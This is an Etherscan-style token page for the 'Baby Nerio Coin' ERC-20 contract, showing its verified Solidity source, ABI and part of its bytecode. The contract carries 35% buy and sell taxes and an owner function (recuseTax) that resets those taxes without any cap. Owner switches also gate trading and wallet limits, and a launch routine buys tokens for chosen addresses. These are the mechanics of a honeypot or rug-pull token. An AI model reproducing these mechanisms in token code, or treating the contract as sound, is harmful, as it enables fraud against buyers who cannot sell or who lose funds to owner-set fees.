ETH Price: $3,483.77 (+2.69%)

Token

Baby Nerio Coin (BabyNerio)
 

Overview

Max Total Supply

4,206,900,000,000,000 BabyNerio

Holders

563

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
674,326,272,941.692929822710859219 BabyNerio

Value
$0.00
0x0336babb488d1502404d2f5303d9d2a868841c71
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-31
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapRouter {
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Token is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public receiveAddr = 0xe3B25B716e5Da407d777f525Bbc5d425682460A8;
    address payable public mkt =
        payable(0x773e6C587A8376Ce47cD38131D52F9EA6bA7f4c2);

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    mapping(address => bool) public _isExcludeFromFee;
    uint256 private _totalSupply;
    IUniswapRouter public _uniswapRouter;
    mapping(address => bool) public isMarketPair;
    bool private inSwap;
    uint256 private constant MAX = ~uint256(0);
    address public _uniswapPair;
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _name = unicode"Baby Nerio Coin";
        _symbol = "BabyNerio";
        _decimals = 18;
        uint256 Supply = 4206900000000000;

        _totalSupply = Supply * 10 ** _decimals;
        swapAtAmount = _totalSupply / 20000;

        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[mkt] = true;

        IUniswapRouter swapRouter = IUniswapRouter(router);
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        isMarketPair[_uniswapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );
        _walletMAX = 0;
        transferOwnership(receiveAddr);
    }

    function setMKT(address payable newMKT) public onlyOwner {
        mkt = newMKT;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 public _buyCount = 0;
    uint256 private _initialBuyTax = 35;
    uint256 private _initialSellTax = 35;
    uint256 private _finalBuyTax = 35;
    uint256 private _finalSellTax = 35;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 0;
    uint256 private _preventSwapBefore = 0;

    function recuseTax(
        uint256 newBuy,
        uint256 newSell,
        uint256 newReduceBuy,
        uint256 newReduceSell,
        uint256 newPreventSwapBefore
    ) public onlyOwner {
        _finalBuyTax = newBuy;
        _finalSellTax = newSell;
        _reduceBuyTaxAt = newReduceBuy;
        _reduceSellTaxAt = newReduceSell;
        _preventSwapBefore = newPreventSwapBefore;
    }

    bool public remainHolder = true;

    function changeRemain() public onlyOwner {
        remainHolder = !remainHolder;
    }

    uint256 swapAtAmount;

    function setSwapAtAmount(uint256 newValue) public onlyOwner {
        swapAtAmount = newValue;
    }

    uint256 public _walletMAX;

    function setWalletMax(uint256 walletM_) public onlyOwner {
        _walletMAX = walletM_;
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (inSwap) {
            _basicTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (
            isMarketPair[to] &&
            !inSwap &&
            !_isExcludeFromFee[from] &&
            !_isExcludeFromFee[to] &&
            _buyCount > _preventSwapBefore
        ) {
            uint256 _numSellToken = amount;
            if (_numSellToken > balanceOf(address(this))) {
                _numSellToken = _balances[address(this)];
            }
            if (_numSellToken > swapAtAmount) {
                swapTokenForETH(_numSellToken);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(startTradeBlock > 0);
            takeFee = true;

            // buyCount
            if (
                isMarketPair[from] &&
                to != address(_uniswapRouter) &&
                !_isExcludeFromFee[to]
            ) {
                _buyCount++;
                if (_walletMAX > 0) {
                    require(
                        balanceOf(to) + amount <= _walletMAX,
                        "walletlimit"
                    );
                }
            }

            // remainHolder
            if (remainHolder && amount == balance) {
                amount = amount - (amount / 100000000);
            }
        }

        _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;
            if (isMarketPair[recipient]) {
                taxFee = _buyCount > _reduceSellTaxAt
                    ? _finalSellTax
                    : _initialSellTax;
            } else if (isMarketPair[sender]) {
                taxFee = _buyCount > _reduceBuyTaxAt
                    ? _finalBuyTax
                    : _initialBuyTax;
            }
            uint256 swapAmount = (tAmount * taxFee) / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] =
                    _balances[address(this)] +
                    swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);
    }

    uint256 public startTradeBlock;

    function startTrade() public onlyOwner {
        startTradeBlock = startTradeBlock == 0 ? block.number : 0;
    }

    function startTrade(
        address admin,
        address[] calldata adrs,
        uint256 per
    ) public onlyOwner {
        address weth = _uniswapRouter.WETH();
        IERC20(weth).approve(address(_uniswapRouter), ~uint256(0));
        IERC20(weth).transferFrom(
            admin,
            address(this),
            IERC20(weth).balanceOf(admin)
        );
        for (uint i = 0; i < adrs.length; i++) {
            swapToken(per, adrs[i]);
        }
        startTradeBlock = block.number;
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        if (_bal > 0) {
            IERC20(weth).transfer(admin, _bal);
        }
    }

    function swapToken(uint256 tokenAmount, address to) private lockTheSwap {
        address weth = _uniswapRouter.WETH();
        address[] memory path = new address[](2);
        path[0] = address(weth);
        path[1] = address(this);

        address[] memory sellpath = new address[](2);
        sellpath[0] = address(this);
        sellpath[1] = address(weth);
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        uint256 buyAmount = _uniswapRouter.getAmountsOut(tokenAmount, sellpath)[
            1
        ];
        buyAmount = buyAmount > _bal ? _bal : buyAmount;
        if (buyAmount == 0) return;
        _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            buyAmount,
            0,
            path,
            address(to),
            block.timestamp
        );
    }

    function removeERC20(address _token) external {
        if (_token != address(this)) {
            IERC20(_token).transfer(
                mkt,
                IERC20(_token).balanceOf(address(this))
            );
            mkt.transfer(address(this).balance);
        }
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            mkt,
            block.timestamp
        );
    }

    function setFeeExclude(
        address[] memory accounts,
        bool value
    ) public onlyOwner {
        for (uint i = 0; i < accounts.length; i++) {
            _isExcludeFromFee[accounts[i]] = value;
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiveAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"remainHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFeeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"walletM_","type":"uint256"}],"name":"setWalletMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"admin","type":"address"},{"internalType":"address[]","name":"adrs","type":"address[]"},{"internalType":"uint256","name":"per","type":"uint256"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e3b25b716e5da407d777f525bbc5d425682460a8600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073773e6c587a8376ce47cd38131d52f9ea6ba7f4c2600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e556023600f556023601055602360115560236012556000601355600060145560006015556001601660006101000a81548160ff0219169083151502179055503480156200015357600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600f81526020017f42616279204e6572696f20436f696e0000000000000000000000000000000000815250600690816200023b919062000dfc565b506040518060400160405280600981526020017f426162794e6572696f00000000000000000000000000000000000000000000008152506007908162000282919062000dfc565b506012600860006101000a81548160ff021916908360ff1602179055506000660ef2273c1b08009050600860009054906101000a900460ff16600a620002c9919062001073565b81620002d69190620010c4565b600a81905550614e20600a54620002ee91906200113e565b601781905550600a5460016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620003e0919062001187565b60405180910390a36001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200066d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200069391906200120e565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620006fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200072491906200120e565b6040518363ffffffff1660e01b81526004016200074392919062001251565b6020604051808303816000875af115801562000763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200078991906200120e565b600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620008b1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620008d791906200120e565b73ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b8152600401620009379291906200127e565b6020604051808303816000875af115801562000957573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200097d9190620012e8565b506000601881905550620009b9600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009c260201b60201c565b5050506200140f565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a53576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a4a906200137b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000ac5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000abc90620013ed565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c0457607f821691505b60208210810362000c1a5762000c1962000bbc565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c847fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c45565b62000c90868362000c45565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000cdd62000cd762000cd18462000ca8565b62000cb2565b62000ca8565b9050919050565b6000819050919050565b62000cf98362000cbc565b62000d1162000d088262000ce4565b84845462000c52565b825550505050565b600090565b62000d2862000d19565b62000d3581848462000cee565b505050565b5b8181101562000d5d5762000d5160008262000d1e565b60018101905062000d3b565b5050565b601f82111562000dac5762000d768162000c20565b62000d818462000c35565b8101602085101562000d91578190505b62000da962000da08562000c35565b83018262000d3a565b50505b505050565b600082821c905092915050565b600062000dd16000198460080262000db1565b1980831691505092915050565b600062000dec838362000dbe565b9150826002028217905092915050565b62000e078262000b82565b67ffffffffffffffff81111562000e235762000e2262000b8d565b5b62000e2f825462000beb565b62000e3c82828562000d61565b600060209050601f83116001811462000e74576000841562000e5f578287015190505b62000e6b858262000dde565b86555062000edb565b601f19841662000e848662000c20565b60005b8281101562000eae5784890151825560018201915060208501945060208101905062000e87565b8683101562000ece578489015162000eca601f89168262000dbe565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000f715780860481111562000f495762000f4862000ee3565b5b600185161562000f595780820291505b808102905062000f698562000f12565b945062000f29565b94509492505050565b60008262000f8c57600190506200105f565b8162000f9c57600090506200105f565b816001811462000fb5576002811462000fc05762000ff6565b60019150506200105f565b60ff84111562000fd55762000fd462000ee3565b5b8360020a91508482111562000fef5762000fee62000ee3565b5b506200105f565b5060208310610133831016604e8410600b8410161715620010305782820a9050838111156200102a576200102962000ee3565b5b6200105f565b6200103f848484600162000f1f565b9250905081840481111562001059576200105862000ee3565b5b81810290505b9392505050565b600060ff82169050919050565b6000620010808262000ca8565b91506200108d8362001066565b9250620010bc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f7a565b905092915050565b6000620010d18262000ca8565b9150620010de8362000ca8565b9250828202620010ee8162000ca8565b9150828204841483151762001108576200110762000ee3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200114b8262000ca8565b9150620011588362000ca8565b9250826200116b576200116a6200110f565b5b828204905092915050565b620011818162000ca8565b82525050565b60006020820190506200119e600083018462001176565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620011d682620011a9565b9050919050565b620011e881620011c9565b8114620011f457600080fd5b50565b6000815190506200120881620011dd565b92915050565b600060208284031215620012275762001226620011a4565b5b60006200123784828501620011f7565b91505092915050565b6200124b81620011c9565b82525050565b600060408201905062001268600083018562001240565b62001277602083018462001240565b9392505050565b600060408201905062001295600083018562001240565b620012a4602083018462001176565b9392505050565b60008115159050919050565b620012c281620012ab565b8114620012ce57600080fd5b50565b600081519050620012e281620012b7565b92915050565b600060208284031215620013015762001300620011a4565b5b60006200131184828501620012d1565b91505092915050565b600082825260208201905092915050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b6000620013636011836200131a565b915062001370826200132b565b602082019050919050565b60006020820190508181036000830152620013968162001354565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000620013d56008836200131a565b9150620013e2826200139d565b602082019050919050565b600060208201905081810360008301526200140881620013c6565b9050919050565b613c23806200141f6000396000f3fe6080604052600436106101e75760003560e01c806365b61b7711610102578063a67755c211610095578063cefab2af11610064578063cefab2af146106c9578063dd62ed3e146106f4578063f2fde38b14610731578063f887ea401461075a576101ee565b8063a67755c214610623578063a9059cbb1461064c578063bc2b8fb714610689578063bc76c052146106b2576101ee565b80637cc5b1e6116100d15780637cc5b1e6146105795780638da5cb5b146105a45780638ff4013f146105cf57806395d89b41146105f8576101ee565b806365b61b77146104e35780636c5808011461050e57806370a0823114610525578063715018a614610562576101ee565b806336b2e0271161017a5780634bf28fd0116101495780634bf28fd01461043b578063553193ca1461046657806358e56b63146104915780636402511e146104ba576101ee565b806336b2e0271461036f5780633e0cdeb1146103ac5780633ecad271146103d55780633f80b6d714610412576101ee565b806323b872dd116101b657806323b872dd146102b157806327b1a8e9146102ee578063313ce567146103195780633455a9db14610344576101ee565b806306fdde03146101f3578063095ea7b31461021e57806318160ddd1461025b5780631b58374914610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610785565b6040516102159190612cf3565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612dbd565b610817565b6040516102529190612e18565b60405180910390f35b34801561026757600080fd5b5061027061082e565b60405161027d9190612e42565b60405180910390f35b34801561029257600080fd5b5061029b610838565b6040516102a89190612e42565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612e5d565b61083e565b6040516102e59190612e18565b60405180910390f35b3480156102fa57600080fd5b506103036109e4565b6040516103109190612e42565b60405180910390f35b34801561032557600080fd5b5061032e6109ea565b60405161033b9190612ecc565b60405180910390f35b34801561035057600080fd5b50610359610a01565b6040516103669190612ef6565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612f11565b610a27565b6040516103a39190612e18565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190612f7c565b610a47565b005b3480156103e157600080fd5b506103fc60048036038101906103f79190612f11565b610b19565b6040516104099190612e18565b60405180910390f35b34801561041e57600080fd5b5061043960048036038101906104349190612fa9565b610b39565b005b34801561044757600080fd5b50610450610bf1565b60405161045d9190612ef6565b60405180910390f35b34801561047257600080fd5b5061047b610c17565b6040516104889190612e42565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190613198565b610c1d565b005b3480156104c657600080fd5b506104e160048036038101906104dc91906131f4565b610d40565b005b3480156104ef57600080fd5b506104f8610dd8565b6040516105059190613280565b60405180910390f35b34801561051a57600080fd5b50610523610dfe565b005b34801561053157600080fd5b5061054c60048036038101906105479190612f11565b610ea7565b6040516105599190612e42565b60405180910390f35b34801561056e57600080fd5b50610577610ef0565b005b34801561058557600080fd5b5061058e61103c565b60405161059b91906132aa565b60405180910390f35b3480156105b057600080fd5b506105b9611062565b6040516105c69190612ef6565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f191906131f4565b61108b565b005b34801561060457600080fd5b5061060d611123565b60405161061a9190612cf3565b60405180910390f35b34801561062f57600080fd5b5061064a60048036038101906106459190612f11565b6111b5565b005b34801561065857600080fd5b50610673600480360381019061066e9190612dbd565b61136f565b6040516106809190612e18565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab9190613320565b611386565b005b3480156106be57600080fd5b506106c76117af565b005b3480156106d557600080fd5b506106de611869565b6040516106eb9190612e18565b60405180910390f35b34801561070057600080fd5b5061071b60048036038101906107169190613394565b61187c565b6040516107289190612e42565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190612f11565b611903565b005b34801561076657600080fd5b5061076f611abd565b60405161077c9190612ef6565b60405180910390f35b60606006805461079490613403565b80601f01602080910402602001604051908101604052809291908181526020018280546107c090613403565b801561080d5780601f106107e25761010080835404028352916020019161080d565b820191906000526020600020905b8154815290600101906020018083116107f057829003601f168201915b5050505050905090565b6000610824338484611ae3565b6001905092915050565b6000600a54905090565b60185481565b600061084b848484611bce565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109d95781600260008673ffffffffffffffffffffffffffffffffffffff